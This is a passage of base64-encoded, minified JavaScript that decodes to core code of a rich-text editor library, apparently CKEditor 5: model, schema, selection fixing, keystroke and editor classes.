NpdGlvbkJlZm9yZShyKTtpZighbi5pc0VxdWFsKGUpKXt0Lmluc2VydChyLGUpfXQubWVyZ2UoZSk7d2hpbGUobi5wYXJlbnQuaXNFbXB0eSl7Y29uc3QgZT1uLnBhcmVudDtuPXQuY3JlYXRlUG9zaXRpb25CZWZvcmUoZSk7dC5yZW1vdmUoZSl9aWYoIWZwKHQubW9kZWwuc2NoZW1hLGUsbikpe3JldHVybn1kcCh0LGUsbixpKX1mdW5jdGlvbiB1cCh0LGUsbixpKXtjb25zdCBvPWUucGFyZW50O2NvbnN0IHI9bi5wYXJlbnQ7aWYobz09aXx8cj09aSl7cmV0dXJufWU9dC5jcmVhdGVQb3NpdGlvbkFmdGVyKG8pO249dC5jcmVhdGVQb3NpdGlvbkJlZm9yZShyKTtpZighbi5pc0VxdWFsKGUpKXt0Lmluc2VydChvLG4pfXdoaWxlKGUucGFyZW50LmlzRW1wdHkpe2NvbnN0IG49ZS5wYXJlbnQ7ZT10LmNyZWF0ZVBvc2l0aW9uQmVmb3JlKG4pO3QucmVtb3ZlKG4pfW49dC5jcmVhdGVQb3NpdGlvbkJlZm9yZShyKTtocCh0LG4pO2lmKCFmcCh0Lm1vZGVsLnNjaGVtYSxlLG4pKXtyZXR1cm59dXAodCxlLG4saSl9ZnVuY3Rpb24gaHAodCxlKXtjb25zdCBuPWUubm9kZUJlZm9yZTtjb25zdCBpPWUubm9kZUFmdGVyO2lmKG4ubmFtZSE9aS5uYW1lKXt0LnJlbmFtZShuLGkubmFtZSl9dC5jbGVhckF0dHJpYnV0ZXMobik7dC5zZXRBdHRyaWJ1dGVzKE9iamVjdC5mcm9tRW50cmllcyhpLmdldEF0dHJpYnV0ZXMoKSksbik7dC5tZXJnZShlKX1mdW5jdGlvbiBmcCh0LGUsbil7Y29uc3QgaT1lLnBhcmVudDtjb25zdCBvPW4ucGFyZW50O2lmKGk9PW8pe3JldHVybiBmYWxzZX1pZih0LmlzTGltaXQoaSl8fHQuaXNMaW1pdChvKSl7cmV0dXJuIGZhbHNlfXJldHVybiBwcChlLG4sdCl9ZnVuY3Rpb24gbXAodCxlKXtjb25zdCBuPXQuZ2V0QW5jZXN0b3JzKCk7Y29uc3QgaT1lLmdldEFuY2VzdG9ycygpO2xldCBvPTA7d2hpbGUobltvXSYmbltvXT09aVtvXSl7bysrfXJldHVybltuW29dLGlbb11dfWZ1bmN0aW9uIGdwKHQsZSl7Y29uc3Qgbj10LmNoZWNrQ2hpbGQoZSwiJHRleHQiKTtjb25zdCBpPXQuY2hlY2tDaGlsZChlLCJwYXJhZ3JhcGgiKTtyZXR1cm4hbiYmaX1mdW5jdGlvbiBwcCh0LGUsbil7Y29uc3QgaT1uZXcgZWYodCxlKTtmb3IoY29uc3QgdCBvZiBpLmdldFdhbGtlcigpKXtpZihuLmlzTGltaXQodC5pdGVtKSl7cmV0dXJuIGZhbHNlfX1yZXR1cm4gdHJ1ZX1mdW5jdGlvbiBrcCh0LGUsbil7Y29uc3QgaT10LmNyZWF0ZUVsZW1lbnQoInBhcmFncmFwaCIpO3QuaW5zZXJ0KGksZSk7Q3AodCxuLHQuY3JlYXRlUG9zaXRpb25BdChpLDApKX1mdW5jdGlvbiBicCh0LGUpe2NvbnN0IG49dC5tb2RlbC5zY2hlbWEuZ2V0TGltaXRFbGVtZW50KGUpO3QucmVtb3ZlKHQuY3JlYXRlUmFuZ2VJbihuKSk7a3AodCx0LmNyZWF0ZVBvc2l0aW9uQXQobiwwKSxlKX1mdW5jdGlvbiB3cCh0LGUpe2NvbnN0IG49dC5nZXRMaW1pdEVsZW1lbnQoZSk7aWYoIWUuY29udGFpbnNFbnRpcmVDb250ZW50KG4pKXtyZXR1cm4gZmFsc2V9Y29uc3QgaT1lLmdldEZpcnN0UmFuZ2UoKTtpZihpLnN0YXJ0LnBhcmVudD09aS5lbmQucGFyZW50KXtyZXR1cm4gZmFsc2V9cmV0dXJuIHQuY2hlY2tDaGlsZChuLCJwYXJhZ3JhcGgiKX1mdW5jdGlvbiBDcCh0LGUsbil7aWYoZSBpbnN0YW5jZW9mIF9mKXt0LnNldFNlbGVjdGlvbihuKX1lbHNle2Uuc2V0VG8obil9fWNvbnN0IEFwPScgLC4/ITo7Ii0oKSc7ZnVuY3Rpb24gX3AodCxlLG49e30pe2NvbnN0IGk9dC5zY2hlbWE7Y29uc3Qgbz1uLmRpcmVjdGlvbiE9ImJhY2t3YXJkIjtjb25zdCByPW4udW5pdD9uLnVuaXQ6ImNoYXJhY3RlciI7Y29uc3Qgcz1lLmZvY3VzO2NvbnN0IGE9bmV3IFFoKHtib3VuZGFyaWVzOkRwKHMsbyksc2luZ2xlQ2hhcmFjdGVyczp0cnVlLGRpcmVjdGlvbjpvPyJmb3J3YXJkIjoiYmFja3dhcmQifSk7Y29uc3QgYz17d2Fsa2VyOmEsc2NoZW1hOmksaXNGb3J3YXJkOm8sdW5pdDpyfTtsZXQgbDt3aGlsZShsPWEubmV4dCgpKXtpZihsLmRvbmUpe3JldHVybn1jb25zdCBuPXZwKGMsbC52YWx1ZSk7aWYobil7aWYoZSBpbnN0YW5jZW9mIF9mKXt0LmNoYW5nZSgodD0+e3Quc2V0U2VsZWN0aW9uRm9jdXMobil9KSl9ZWxzZXtlLnNldEZvY3VzKG4pfXJldHVybn19fWZ1bmN0aW9uIHZwKHQsZSl7Y29uc3R7aXNGb3J3YXJkOm4sd2Fsa2VyOmksdW5pdDpvLHNjaGVtYTpyfT10O2NvbnN0e3R5cGU6cyxpdGVtOmEsbmV4dFBvc2l0aW9uOmN9PWU7aWYocz09InRleHQiKXtpZih0LnVuaXQ9PT0id29yZCIpe3JldHVybiB4cChpLG4pfXJldHVybiB5cChpLG8sbil9aWYocz09KG4/ImVsZW1lbnRTdGFydCI6ImVsZW1lbnRFbmQiKSl7aWYoci5pc1NlbGVjdGFibGUoYSkpe3JldHVybiBKaC5fY3JlYXRlQXQoYSxuPyJhZnRlciI6ImJlZm9yZSIpfWlmKHIuY2hlY2tDaGlsZChjLCIkdGV4dCIpKXtyZXR1cm4gY319ZWxzZXtpZihyLmlzTGltaXQoYSkpe2kuc2tpcCgoKCk9PnRydWUpKTtyZXR1cm59aWYoci5jaGVja0NoaWxkKGMsIiR0ZXh0Iikpe3JldHVybiBjfX19ZnVuY3Rpb24geXAodCxlKXtjb25zdCBuPXQucG9zaXRpb24udGV4dE5vZGU7aWYobil7Y29uc3QgaT1uLmRhdGE7bGV0IG89dC5wb3NpdGlvbi5vZmZzZXQtbi5zdGFydE9mZnNldDt3aGlsZShXZyhpLG8pfHxlPT0iY2hhcmFjdGVyIiYmS2coaSxvKSl7dC5uZXh0KCk7bz10LnBvc2l0aW9uLm9mZnNldC1uLnN0YXJ0T2Zmc2V0fX1yZXR1cm4gdC5wb3NpdGlvbn1mdW5jdGlvbiB4cCh0LGUpe2xldCBuPXQucG9zaXRpb24udGV4dE5vZGU7aWYobil7bGV0IGk9dC5wb3NpdGlvbi5vZmZzZXQtbi5zdGFydE9mZnNldDt3aGlsZSghRXAobi5kYXRhLGksZSkmJiFNcChuLGksZSkpe3QubmV4dCgpO2NvbnN0IG89ZT90LnBvc2l0aW9uLm5vZGVBZnRlcjp0LnBvc2l0aW9uLm5vZGVCZWZvcmU7aWYobyYmby5pcygiJHRleHQiKSl7Y29uc3QgaT1vLmRhdGEuY2hhckF0KGU/MDpvLmRhdGEubGVuZ3RoLTEpO2lmKCFBcC5pbmNsdWRlcyhpKSl7dC5uZXh0KCk7bj10LnBvc2l0aW9uLnRleHROb2RlfX1pPXQucG9zaXRpb24ub2Zmc2V0LW4uc3RhcnRPZmZzZXR9fXJldHVybiB0LnBvc2l0aW9ufWZ1bmN0aW9uIERwKHQsZSl7Y29uc3Qgbj10LnJvb3Q7Y29uc3QgaT1KaC5fY3JlYXRlQXQobixlPyJlbmQiOjApO2lmKGUpe3JldHVybiBuZXcgZWYodCxpKX1lbHNle3JldHVybiBuZXcgZWYoaSx0KX19ZnVuY3Rpb24gRXAodCxlLG4pe2NvbnN0IGk9ZSsobj8wOi0xKTtyZXR1cm4gQXAuaW5jbHVkZXModC5jaGFyQXQoaSkpfWZ1bmN0aW9uIE1wKHQsZSxuKXtyZXR1cm4gZT09PShuP3QuZW5kT2Zmc2V0OjApfWZ1bmN0aW9uIFNwKHQsZSl7cmV0dXJuIHQuY2hhbmdlKCh0PT57Y29uc3Qgbj10LmNyZWF0ZURvY3VtZW50RnJhZ21lbnQoKTtjb25zdCBpPWUuZ2V0Rmlyc3RSYW5nZSgpO2lmKCFpfHxpLmlzQ29sbGFwc2VkKXtyZXR1cm4gbn1jb25zdCBvPWkuc3RhcnQucm9vdDtjb25zdCByPWkuc3RhcnQuZ2V0Q29tbW9uUGF0aChpLmVuZCk7Y29uc3Qgcz1vLmdldE5vZGVCeVBhdGgocik7bGV0IGE7aWYoaS5zdGFydC5wYXJlbnQ9PWkuZW5kLnBhcmVudCl7YT1pfWVsc2V7YT10LmNyZWF0ZVJhbmdlKHQuY3JlYXRlUG9zaXRpb25BdChzLGkuc3RhcnQucGF0aFtyLmxlbmd0aF0pLHQuY3JlYXRlUG9zaXRpb25BdChzLGkuZW5kLnBhdGhbci5sZW5ndGhdKzEpKX1jb25zdCBjPWEuZW5kLm9mZnNldC1hLnN0YXJ0Lm9mZnNldDtmb3IoY29uc3QgZSBvZiBhLmdldEl0ZW1zKHtzaGFsbG93OnRydWV9KSl7aWYoZS5pcygiJHRleHRQcm94eSIpKXt0LmFwcGVuZFRleHQoZS5kYXRhLGUuZ2V0QXR0cmlidXRlcygpLG4pfWVsc2V7dC5hcHBlbmQodC5jbG9uZUVsZW1lbnQoZSx0cnVlKSxuKX19aWYoYSE9aSl7Y29uc3QgZT1pLl9nZXRUcmFuc2Zvcm1lZEJ5TW92ZShhLnN0YXJ0LHQuY3JlYXRlUG9zaXRpb25BdChuLDApLGMpWzBdO2NvbnN0IG89dC5jcmVhdGVSYW5nZSh0LmNyZWF0ZVBvc2l0aW9uQXQobiwwKSxlLnN0YXJ0KTtjb25zdCByPXQuY3JlYXRlUmFuZ2UoZS5lbmQsdC5jcmVhdGVQb3NpdGlvbkF0KG4sImVuZCIpKTtUcChyLHQpO1RwKG8sdCl9cmV0dXJuIG59KSl9ZnVuY3Rpb24gVHAodCxlKXtjb25zdCBuPVtdO0FycmF5LmZyb20odC5nZXRJdGVtcyh7ZGlyZWN0aW9uOiJiYWNrd2FyZCJ9KSkubWFwKCh0PT5lLmNyZWF0ZVJhbmdlT24odCkpKS5maWx0ZXIoKGU9Pntjb25zdCBuPShlLnN0YXJ0LmlzQWZ0ZXIodC5zdGFydCl8fGUuc3RhcnQuaXNFcXVhbCh0LnN0YXJ0KSkmJihlLmVuZC5pc0JlZm9yZSh0LmVuZCl8fGUuZW5kLmlzRXF1YWwodC5lbmQpKTtyZXR1cm4gbn0pKS5mb3JFYWNoKCh0PT57bi5wdXNoKHQuc3RhcnQucGFyZW50KTtlLnJlbW92ZSh0KX0pKTtuLmZvckVhY2goKHQ9PntsZXQgbj10O3doaWxlKG4ucGFyZW50JiZuLmlzRW1wdHkpe2NvbnN0IHQ9ZS5jcmVhdGVSYW5nZU9uKG4pO249bi5wYXJlbnQ7ZS5yZW1vdmUodCl9fSkpfWZ1bmN0aW9uIElwKHQpe3QuZG9jdW1lbnQucmVnaXN0ZXJQb3N0Rml4ZXIoKGU9Pk5wKGUsdCkpKX1mdW5jdGlvbiBOcCh0LGUpe2NvbnN0IG49ZS5kb2N1bWVudC5zZWxlY3Rpb247Y29uc3QgaT1lLnNjaGVtYTtjb25zdCBvPVtdO2xldCByPWZhbHNlO2Zvcihjb25zdCB0IG9mIG4uZ2V0UmFuZ2VzKCkpe2NvbnN0IGU9QnAodCxpKTtpZihlJiYhZS5pc0VxdWFsKHQpKXtvLnB1c2goZSk7cj10cnVlfWVsc2V7by5wdXNoKHQpfX1pZihyKXt0LnNldFNlbGVjdGlvbihScChvKSx7YmFja3dhcmQ6bi5pc0JhY2t3YXJkfSl9fWZ1bmN0aW9uIEJwKHQsZSl7aWYodC5pc0NvbGxhcHNlZCl7cmV0dXJuIFBwKHQsZSl9cmV0dXJuIHpwKHQsZSl9ZnVuY3Rpb24gUHAodCxlKXtjb25zdCBuPXQuc3RhcnQ7Y29uc3QgaT1lLmdldE5lYXJlc3RTZWxlY3Rpb25SYW5nZShuKTtpZighaSl7cmV0dXJuIG51bGx9aWYoIWkuaXNDb2xsYXBzZWQpe3JldHVybiBpfWNvbnN0IG89aS5zdGFydDtpZihuLmlzRXF1YWwobykpe3JldHVybiBudWxsfXJldHVybiBuZXcgZWYobyl9ZnVuY3Rpb24genAodCxlKXtjb25zdHtzdGFydDpuLGVuZDppfT10O2NvbnN0IG89ZS5jaGVja0NoaWxkKG4sIiR0ZXh0Iik7Y29uc3Qgcj1lLmNoZWNrQ2hpbGQoaSwiJHRleHQiKTtjb25zdCBzPWUuZ2V0TGltaXRFbGVtZW50KG4pO2NvbnN0IGE9ZS5nZXRMaW1pdEVsZW1lbnQoaSk7aWYocz09PWEpe2lmKG8mJnIpe3JldHVybiBudWxsfWlmKE9wKG4saSxlKSl7Y29uc3QgdD1uLm5vZGVBZnRlciYmZS5pc1NlbGVjdGFibGUobi5ub2RlQWZ0ZXIpO2NvbnN0IG89dD9udWxsOmUuZ2V0TmVhcmVzdFNlbGVjdGlvblJhbmdlKG4sImZvcndhcmQiKTtjb25zdCByPWkubm9kZUJlZm9yZSYmZS5pc1NlbGVjdGFibGUoaS5ub2RlQmVmb3JlKTtjb25zdCBzPXI/bnVsbDplLmdldE5lYXJlc3RTZWxlY3Rpb25SYW5nZShpLCJiYWNrd2FyZCIpO2NvbnN0IGE9bz9vLnN0YXJ0Om47Y29uc3QgYz1zP3MuZW5kOmk7cmV0dXJuIG5ldyBlZihhLGMpfX1jb25zdCBjPXMmJiFzLmlzKCJyb290RWxlbWVudCIpO2NvbnN0IGw9YSYmIWEuaXMoInJvb3RFbGVtZW50Iik7aWYoY3x8bCl7Y29uc3QgdD1uLm5vZGVBZnRlciYmaS5ub2RlQmVmb3JlJiZuLm5vZGVBZnRlci5wYXJlbnQ9PT1pLm5vZGVCZWZvcmUucGFyZW50O2NvbnN0IG89YyYmKCF0fHwhanAobi5ub2RlQWZ0ZXIsZSkpO2NvbnN0IHI9bCYmKCF0fHwhanAoaS5ub2RlQmVmb3JlLGUpKTtsZXQgZD1uO2xldCB1PWk7aWYobyl7ZD1KaC5fY3JlYXRlQmVmb3JlKExwKHMsZSkpfWlmKHIpe3U9SmguX2NyZWF0ZUFmdGVyKExwKGEsZSkpfXJldHVybiBuZXcgZWYoZCx1KX1yZXR1cm4gbnVsbH1mdW5jdGlvbiBMcCh0LGUpe2xldCBuPXQ7bGV0IGk9bjt3aGlsZShlLmlzTGltaXQoaSkmJmkucGFyZW50KXtuPWk7aT1pLnBhcmVudH1yZXR1cm4gbn1mdW5jdGlvbiBPcCh0LGUsbil7Y29uc3QgaT10Lm5vZGVBZnRlciYmIW4uaXNMaW1pdCh0Lm5vZGVBZnRlcil8fG4uY2hlY2tDaGlsZCh0LCIkdGV4dCIpO2NvbnN0IG89ZS5ub2RlQmVmb3JlJiYhbi5pc0xpbWl0KGUubm9kZUJlZm9yZSl8fG4uY2hlY2tDaGlsZChlLCIkdGV4dCIpO3JldHVybiBpfHxvfWZ1bmN0aW9uIFJwKHQpe2NvbnN0IGU9W107ZS5wdXNoKHQuc2hpZnQoKSk7Zm9yKGNvbnN0IG4gb2YgdCl7Y29uc3QgdD1lLnBvcCgpO2lmKG4uaXNFcXVhbCh0KSl7ZS5wdXNoKHQpfWVsc2UgaWYobi5pc0ludGVyc2VjdGluZyh0KSl7Y29uc3QgaT10LnN0YXJ0LmlzQWZ0ZXIobi5zdGFydCk/bi5zdGFydDp0LnN0YXJ0O2NvbnN0IG89dC5lbmQuaXNBZnRlcihuLmVuZCk/dC5lbmQ6bi5lbmQ7Y29uc3Qgcj1uZXcgZWYoaSxvKTtlLnB1c2gocil9ZWxzZXtlLnB1c2godCk7ZS5wdXNoKG4pfX1yZXR1cm4gZX1mdW5jdGlvbiBqcCh0LGUpe3JldHVybiB0JiZlLmlzU2VsZWN0YWJsZSh0KX1jbGFzcyBGcHtjb25zdHJ1Y3Rvcigpe3RoaXMubWFya2Vycz1uZXcgJGc7dGhpcy5kb2N1bWVudD1uZXcgWWcodGhpcyk7dGhpcy5zY2hlbWE9bmV3IHptO3RoaXMuX3BlbmRpbmdDaGFuZ2VzPVtdO3RoaXMuX2N1cnJlbnRXcml0ZXI9bnVsbDtbImluc2VydENvbnRlbnQiLCJkZWxldGVDb250ZW50IiwibW9kaWZ5U2VsZWN0aW9uIiwiZ2V0U2VsZWN0ZWRDb250ZW50IiwiYXBwbHlPcGVyYXRpb24iXS5mb3JFYWNoKCh0PT50aGlzLmRlY29yYXRlKHQpKSk7dGhpcy5vbigiYXBwbHlPcGVyYXRpb24iLCgodCxlKT0+e2NvbnN0IG49ZVswXTtuLl92YWxpZGF0ZSgpfSkse3ByaW9yaXR5OiJoaWdoZXN0In0pO3RoaXMuc2NoZW1hLnJlZ2lzdGVyKCIkcm9vdCIse2lzTGltaXQ6dHJ1ZX0pO3RoaXMuc2NoZW1hLnJlZ2lzdGVyKCIkYmxvY2siLHthbGxvd0luOiIkcm9vdCIsaXNCbG9jazp0cnVlfSk7dGhpcy5zY2hlbWEucmVnaXN0ZXIoIiR0ZXh0Iix7YWxsb3dJbjoiJGJsb2NrIixpc0lubGluZTp0cnVlLGlzQ29udGVudDp0cnVlfSk7dGhpcy5zY2hlbWEucmVnaXN0ZXIoIiRjbGlwYm9hcmRIb2xkZXIiLHthbGxvd0NvbnRlbnRPZjoiJHJvb3QiLGlzTGltaXQ6dHJ1ZX0pO3RoaXMuc2NoZW1hLmV4dGVuZCgiJHRleHQiLHthbGxvd0luOiIkY2xpcGJvYXJkSG9sZGVyIn0pO3RoaXMuc2NoZW1hLnJlZ2lzdGVyKCIkbWFya2VyIik7dGhpcy5zY2hlbWEuYWRkQ2hpbGRDaGVjaygoKHQsZSk9PntpZihlLm5hbWU9PT0iJG1hcmtlciIpe3JldHVybiB0cnVlfX0pKTtJcCh0aGlzKTt0aGlzLmRvY3VtZW50LnJlZ2lzdGVyUG9zdEZpeGVyKGNtKX1jaGFuZ2UodCl7dHJ5e2lmKHRoaXMuX3BlbmRpbmdDaGFuZ2VzLmxlbmd0aD09PTApe3RoaXMuX3BlbmRpbmdDaGFuZ2VzLnB1c2goe2JhdGNoOm5ldyBhZyxjYWxsYmFjazp0fSk7cmV0dXJuIHRoaXMuX3J1blBlbmRpbmdDaGFuZ2VzKClbMF19ZWxzZXtyZXR1cm4gdCh0aGlzLl9jdXJyZW50V3JpdGVyKX19Y2F0Y2godCl7c3NbImEiXS5yZXRocm93VW5leHBlY3RlZEVycm9yKHQsdGhpcyl9fWVucXVldWVDaGFuZ2UodCxlKXt0cnl7aWYodHlwZW9mIHQ9PT0ic3RyaW5nIil7dD1uZXcgYWcodCl9ZWxzZSBpZih0eXBlb2YgdD09ImZ1bmN0aW9uIil7ZT10O3Q9bmV3IGFnfXRoaXMuX3BlbmRpbmdDaGFuZ2VzLnB1c2goe2JhdGNoOnQsY2FsbGJhY2s6ZX0pO2lmKHRoaXMuX3BlbmRpbmdDaGFuZ2VzLmxlbmd0aD09MSl7dGhpcy5fcnVuUGVuZGluZ0NoYW5nZXMoKX19Y2F0Y2godCl7c3NbImEiXS5yZXRocm93VW5leHBlY3RlZEVycm9yKHQsdGhpcyl9fWFwcGx5T3BlcmF0aW9uKHQpe3QuX2V4ZWN1dGUoKX1pbnNlcnRDb250ZW50KHQsZSxuKXtyZXR1cm4gb3AodGhpcyx0LGUsbil9ZGVsZXRlQ29udGVudCh0LGUpe3NwKHRoaXMsdCxlKX1tb2RpZnlTZWxlY3Rpb24odCxlKXtfcCh0aGlzLHQsZSl9Z2V0U2VsZWN0ZWRDb250ZW50KHQpe3JldHVybiBTcCh0aGlzLHQpfWhhc0NvbnRlbnQodCxlPXt9KXtjb25zdCBuPXQgaW5zdGFuY2VvZiBxaD9lZi5fY3JlYXRlSW4odCk6dDtpZihuLmlzQ29sbGFwc2VkKXtyZXR1cm4gZmFsc2V9Y29uc3R7aWdub3JlV2hpdGVzcGFjZXM6aT1mYWxzZSxpZ25vcmVNYXJrZXJzOm89ZmFsc2V9PWU7aWYoIW8pe2Zvcihjb25zdCB0IG9mIHRoaXMubWFya2Vycy5nZXRNYXJrZXJzSW50ZXJzZWN0aW5nUmFuZ2Uobikpe2lmKHQuYWZmZWN0c0RhdGEpe3JldHVybiB0cnVlfX19Zm9yKGNvbnN0IHQgb2Ygbi5nZXRJdGVtcygpKXtpZih0aGlzLnNjaGVtYS5pc0NvbnRlbnQodCkpe2lmKHQuaXMoIiR0ZXh0UHJveHkiKSl7aWYoIWkpe3JldHVybiB0cnVlfWVsc2UgaWYodC5kYXRhLnNlYXJjaCgvXFMvKSE9PS0xKXtyZXR1cm4gdHJ1ZX19ZWxzZXtyZXR1cm4gdHJ1ZX19fXJldHVybiBmYWxzZX1jcmVhdGVQb3NpdGlvbkZyb21QYXRoKHQsZSxuKXtyZXR1cm4gbmV3IEpoKHQsZSxuKX1jcmVhdGVQb3NpdGlvbkF0KHQsZSl7cmV0dXJuIEpoLl9jcmVhdGVBdCh0LGUpfWNyZWF0ZVBvc2l0aW9uQWZ0ZXIodCl7cmV0dXJuIEpoLl9jcmVhdGVBZnRlcih0KX1jcmVhdGVQb3NpdGlvbkJlZm9yZSh0KXtyZXR1cm4gSmguX2NyZWF0ZUJlZm9yZSh0KX1jcmVhdGVSYW5nZSh0LGUpe3JldHVybiBuZXcgZWYodCxlKX1jcmVhdGVSYW5nZUluKHQpe3JldHVybiBlZi5fY3JlYXRlSW4odCl9Y3JlYXRlUmFuZ2VPbih0KXtyZXR1cm4gZWYuX2NyZWF0ZU9uKHQpfWNyZWF0ZVNlbGVjdGlvbih0LGUsbil7cmV0dXJuIG5ldyB1Zih0LGUsbil9Y3JlYXRlQmF0Y2godCl7cmV0dXJuIG5ldyBhZyh0KX1jcmVhdGVPcGVyYXRpb25Gcm9tSlNPTih0KXtyZXR1cm4gdHAuZnJvbUpTT04odCx0aGlzLmRvY3VtZW50KX1kZXN0cm95KCl7dGhpcy5kb2N1bWVudC5kZXN0cm95KCk7dGhpcy5zdG9wTGlzdGVuaW5nKCl9X3J1blBlbmRpbmdDaGFuZ2VzKCl7Y29uc3QgdD1bXTt0aGlzLmZpcmUoIl9iZWZvcmVDaGFuZ2VzIik7d2hpbGUodGhpcy5fcGVuZGluZ0NoYW5nZXMubGVuZ3RoKXtjb25zdCBlPXRoaXMuX3BlbmRpbmdDaGFuZ2VzWzBdLmJhdGNoO3RoaXMuX2N1cnJlbnRXcml0ZXI9bmV3IElnKHRoaXMsZSk7Y29uc3Qgbj10aGlzLl9wZW5kaW5nQ2hhbmdlc1swXS5jYWxsYmFjayh0aGlzLl9jdXJyZW50V3JpdGVyKTt0LnB1c2gobik7dGhpcy5kb2N1bWVudC5faGFuZGxlQ2hhbmdlQmxvY2sodGhpcy5fY3VycmVudFdyaXRlcik7dGhpcy5fcGVuZGluZ0NoYW5nZXMuc2hpZnQoKTt0aGlzLl9jdXJyZW50V3JpdGVyPW51bGx9dGhpcy5maXJlKCJfYWZ0ZXJDaGFuZ2VzIik7cmV0dXJuIHR9fV9zKEZwLEpjKTtjbGFzcyBWcHtjb25zdHJ1Y3Rvcigpe3RoaXMuX2xpc3RlbmVyPU9iamVjdC5jcmVhdGUoSmQpfWxpc3RlblRvKHQpe3RoaXMuX2xpc3RlbmVyLmxpc3RlblRvKHQsImtleWRvd24iLCgodCxlKT0+e3RoaXMuX2xpc3RlbmVyLmZpcmUoIl9rZXlkb3duOiIrT2woZSksZSl9KSl9c2V0KHQsZSxuPXt9KXtjb25zdCBpPVJsKHQpO2NvbnN0IG89bi5wcmlvcml0eTt0aGlzLl9saXN0ZW5lci5saXN0ZW5Ubyh0aGlzLl9saXN0ZW5lciwiX2tleWRvd246IitpLCgodCxuKT0+e2UobiwoKCk9PntuLnByZXZlbnREZWZhdWx0KCk7bi5zdG9wUHJvcGFnYXRpb24oKTt0LnN0b3AoKX0pKTt0LnJldHVybj10cnVlfSkse3ByaW9yaXR5Om99KX1wcmVzcyh0KXtyZXR1cm4hIXRoaXMuX2xpc3RlbmVyLmZpcmUoIl9rZXlkb3duOiIrT2wodCksdCl9ZGVzdHJveSgpe3RoaXMuX2xpc3RlbmVyLnN0b3BMaXN0ZW5pbmcoKX19Y2xhc3MgVXAgZXh0ZW5kcyBWcHtjb25zdHJ1Y3Rvcih0KXtzdXBlcigpO3RoaXMuZWRpdG9yPXR9c2V0KHQsZSxuPXt9KXtpZih0eXBlb2YgZT09InN0cmluZyIpe2NvbnN0IHQ9ZTtlPShlLG4pPT57dGhpcy5lZGl0b3IuZXhlY3V0ZSh0KTtuKCl9fXN1cGVyLnNldCh0LGUsbil9fWNsYXNzIEhwe2NvbnN0cnVjdG9yKHQ9e30pe3RoaXMuX2NvbnRleHQ9dC5jb250ZXh0fHxuZXcgenMoe2xhbmd1YWdlOnQubGFuZ3VhZ2V9KTt0aGlzLl9jb250ZXh0Ll9hZGRFZGl0b3IodGhpcywhdC5jb250ZXh0KTtjb25zdCBlPUFycmF5LmZyb20odGhpcy5jb25zdHJ1Y3Rvci5idWlsdGluUGx1Z2luc3x8W10pO3RoaXMuY29uZmlnPW5ldyBRcih0LHRoaXMuY29uc3RydWN0b3IuZGVmYXVsdENvbmZpZyk7dGhpcy5jb25maWcuZGVmaW5lKCJwbHVnaW5zIixlKTt0aGlzLmNvbmZpZy5kZWZpbmUodGhpcy5fY29udGV4dC5fZ2V0RWRpdG9yQ29uZmlnKCkpO3RoaXMucGx1Z2lucz1uZXcgeXModGhpcyxlLHRoaXMuX2NvbnRleHQucGx1Z2lucyk7dGhpcy5sb2NhbGU9dGhpcy5fY29udGV4dC5sb2NhbGU7dGhpcy50PXRoaXMubG9jYWxlLnQ7dGhpcy5jb21tYW5kcz1uZXcgTm07dGhpcy5zZXQoInN0YXRlIiwiaW5pdGlhbGl6aW5nIik7dGhpcy5vbmNlKCJyZWFkeSIsKCgpPT50aGlzLnN0YXRlPSJyZWFkeSIpLHtwcmlvcml0eToiaGlnaCJ9KTt0aGlzLm9uY2UoImRlc3Ryb3kiLCgoKT0+dGhpcy5zdGF0ZT0iZGVzdHJveWVkIikse3ByaW9yaXR5OiJoaWdoIn0pO3RoaXMuc2V0KCJpc1JlYWRPbmx5IixmYWxzZSk7dGhpcy5tb2RlbD1uZXcgRnA7Y29uc3Qgbj1uZXcgemM7dGhpcy5kYXRhPW5ldyBuZyh0aGlzLm1vZGVsLG4pO3RoaXMuZWRpdGluZz1uZXcgSW0odGhpcy5tb2RlbCxuKTt0aGlzLmVkaXRpbmcudmlldy5kb2N1bWVudC5iaW5kKCJpc1JlYWRPbmx5IikudG8odGhpcyk7dGhpcy5jb252ZXJzaW9uPW5ldyBvZyhbdGhpcy5lZGl0aW5nLmRvd25jYXN0RGlzcGF0Y2hlcix0aGlzLmRhdGEuZG93bmNhc3REaXNwYXRjaGVyXSx0aGlzLmRhdGEudXBjYXN0RGlzcGF0Y2hlcik7dGhpcy5jb252ZXJzaW9uLmFkZEFsaWFzKCJkYXRhRG93bmNhc3QiLHRoaXMuZGF0YS5kb3duY2FzdERpc3BhdGNoZXIpO3RoaXMuY29udmVyc2lvbi5hZGRBbGlhcygiZWRpdGluZ0Rvd25jYXN0Iix0aGlzLmVkaXRpbmcuZG93bmNhc3REaXNwYXRjaGVyKTt0aGlzLmtleXN0cm9rZXM9bmV3IFVwKHRoaXMpO3RoaXMua2V5c3Ryb2tlcy5saXN0ZW5Ubyh0aGlzLmVkaXRpbmcudmlldy5kb2N1bWVudCl9aW5pdFBsdWdpbnMoKXtjb25zdCB0PXRoaXMuY29uZmlnO2NvbnN0IGU9dC5nZXQoInBsdWdpbnMiKTtjb25zdCBuPXQuZ2V0KCJyZW1vdmVQbHVnaW5zIil8fFtdO2NvbnN0IGk9dC5nZXQoImV4dHJhUGx1Z2lucyIpfHxbXTtyZXR1cm4gdGhpcy5wbHVnaW5zLmluaXQoZS5jb25jYXQoaSksbil9ZGVzdHJveSgpe2xldCB0PVByb21pc2UucmVzb2x2ZSgpO2lmKHRoaXMuc3RhdGU9PSJpbml0aWFsaXppbmciKXt0PW5ldyBQcm9taXNlKCh0PT50aGlzLm9uY2UoInJlYWR5Iix0KSkpfXJldHVybiB0LnRoZW4oKCgpPT57dGhpcy5maXJlKCJkZXN0cm95Iik7dGhpcy5zdG9wTGlzdGVuaW5nKCk7dGhpcy5jb21tYW5kcy5kZXN0cm95KCl9KSkudGhlbigoKCk9PnRoaXMucGx1Z2lucy5kZXN0cm95KCkpKS50aGVuKCgoKT0+e3RoaXMubW9kZWwuZGVzdHJveSgpO3RoaXMuZGF0YS5kZXN0cm95KCk7dGhpcy5lZGl0aW5nLmRlc3Ryb3koKTt0aGlzLmtleXN0cm9rZXMuZGVzdHJveSgpfSkpLnRoZW4oKCgpPT50aGlzLl9jb250ZXh0Ll9yZW1vdmVFZGl0b3IodGhpcykpKX1leGVjdXRlKC4uLnQpe3RyeXtyZXR1cm4gdGhpcy5jb21tYW5kcy5leGVjdXRlKC4uLnQpfWNhdGNoKHQpe3NzWyJhIl0ucmV0aHJvd1VuZXhwZWN0ZWRFcnJvcih0LHRoaXMpfX1mb2N1cygpe3RoaXMuZWRpdGluZy52aWV3LmZvY3VzKCl9fV9zKEhwLEpjKTtjb25zdCBHcD17c2V0RGF0YSh0K